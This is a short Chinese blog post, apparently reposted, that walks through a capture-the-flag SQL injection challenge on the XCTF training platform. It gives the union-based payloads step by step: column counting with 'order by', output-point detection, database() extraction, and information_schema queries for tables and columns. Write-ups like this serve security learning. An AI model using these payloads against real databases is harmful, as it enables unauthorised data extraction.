码迷,mamicode.com
首页 > 数据库 > 详细

攻防世界web进阶区(2)--记一次sql注入

时间:2020-02-14 22:11:22      阅读:174      评论:0      收藏:0      [点我收藏+]

标签:地址   说明   查询   显示   targe   mat   页面   href   rom   

题目地址:http://111.198.29.45:56094

这是一道sql注入题。

技术图片

 

 试试1‘ order by 3#,发现页面显示正常,将3换为4时,页面报错,则说明含有3个字段。

接下来判断输出点,即输入1‘ union select 1,2,3#,发现2与3的位置是输出点。

技术图片

 

 爆数据库名: 1‘ union select 1,database(),3#

技术图片

 

 1‘ union select 1,2,table_name from information_schema.tables where table_schema=‘news‘#查询 news 数据库中的表

技术图片

 

1‘ union select 1,2,column_name from information_schema.columns where table_schema=‘news‘ and table_name=‘secret_table‘#查询列名

技术图片

 

 得flag:

技术图片

 

攻防世界web进阶区(2)--记一次sql注入

标签:地址   说明   查询   显示   targe   mat   页面   href   rom   

原文地址:https://www.cnblogs.com/pyh123456/p/12309627.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!